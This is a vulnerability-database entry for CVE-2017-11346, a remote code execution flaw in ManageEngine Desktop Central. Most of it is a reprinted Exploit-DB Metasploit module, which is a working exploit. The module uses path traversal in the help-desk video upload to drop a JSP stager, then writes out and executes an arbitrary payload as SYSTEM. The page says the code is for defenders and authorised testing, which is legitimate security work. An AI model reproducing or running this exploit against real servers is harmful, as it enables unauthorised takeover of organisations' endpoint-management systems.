CVE-2017-11346

critical
Published 2017-07-17 ยท Modified 2026-05-13
CVSS v3
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Zoho ManageEngine Desktop Central before build 100092 allows remote attackers to execute arbitrary code via vectors involving the upload of help desk videos.

Predictions

Exploit likelihood
97%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42358 webapps java ruby ยท 7 KB
Kacper Szurek ยท 2017-07-24

ManageEngine Desktop Central 10 Build 100087 - Remote Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
# Date: 24-07-2017
# Software Link: https://www.manageengine.com/products/desktop-central/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# CVE: CVE-2017-11346
# Category: remote
 
1. Description
   
When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
 
https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html
   
2. Proof of Concept
 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
        uploading a file, the FileUploadServlet class does not check the user-controlled
        fileName parameter. This allows a remote attacker to create a malicious file and place
        it under a directory that allows server-side scripts to run,
        which results in remote code execution under the context of SYSTEM.

        This exploit was successfully tested on version 10, build 100087.

        Exploit code based on https://www.exploit-db.com/exploits/38982/
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Kacper Szurek' ],
      'References'     =>
        [
          [ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'ManageEngine Desktop Central 10 on Windows', {} ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "July 24 2017",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
        Opt::RPORT(8020)
      ], self.class)
  end

  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw << %Q|int numbytes = data.length();\n|

    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|

    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def jsp_execute_command(command)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def get_jsp_stager
    exe = generate_payload_exe(code: payload.encoded)
    jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"

    register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

    {
      jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
      jsp_name:    jsp_fname
    }
  end

  def get_build_number(res)
    inputs = res.get_hidden_inputs
    inputs.first['buildNum']
  end

  def get_html_title(res)
    html = res.body
    n = ::Nokogiri::HTML(html)
    x = n.xpath('//title').text
  end

  def check
    uri = normalize_uri(target_uri.path, '/configurations.do')

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res
      print_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    build_number = get_build_number(res)
    if build_number.to_s.empty?
      print_error("Cannot find build number")
    else
      print_status("Found build number: #{build_number}")
    end
    
    html_title   = get_html_title(res)

    if html_title.to_s.empty?
      print_error("Cannot find title")
    else
      print_status("Found title: #{html_title}")
    end
   
    if build_number.to_i <= 100087
      return Exploit::CheckCode::Appears
    elsif /ManageEngine Desktop Central 10/ === html_title
      return Exploit::CheckCode::Detected
    end


    Exploit::CheckCode::Safe
  end

  def upload_jsp(stager_info)
    uri = normalize_uri(target_uri.path, 'fileupload')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'     => uri,
      'ctype'     => 'application/octet-stream',
      'encode_params' => false,
      'data'      => stager_info[:jsp_payload],
      'vars_get'    => {
        'action'    => 'HelpDesk_video',
        'computerName'  => Rex::Text.rand_text_alpha(rand(10)+5),
        'resourceId'  => 1,
        'customerId'  => 1,
        'fileName'    => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
      }
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
    end
  end

  def exec_jsp(stager_info)
    uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
    end
  end

  def exploit
    print_status("Creating JSP stager")
    stager_info = get_jsp_stager

    print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
    upload_jsp(stager_info)

    print_status("Executing stager...")
    exec_jsp(stager_info)
  end

end
   
3. Solution:
   
https://www.manageengine.com/products/desktop-central/remote-code-execution.html

Application impact

VendorProductVersionsFixed
zohocorpmanageengine_desktop_central{"endIncluding":"10.0"}

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.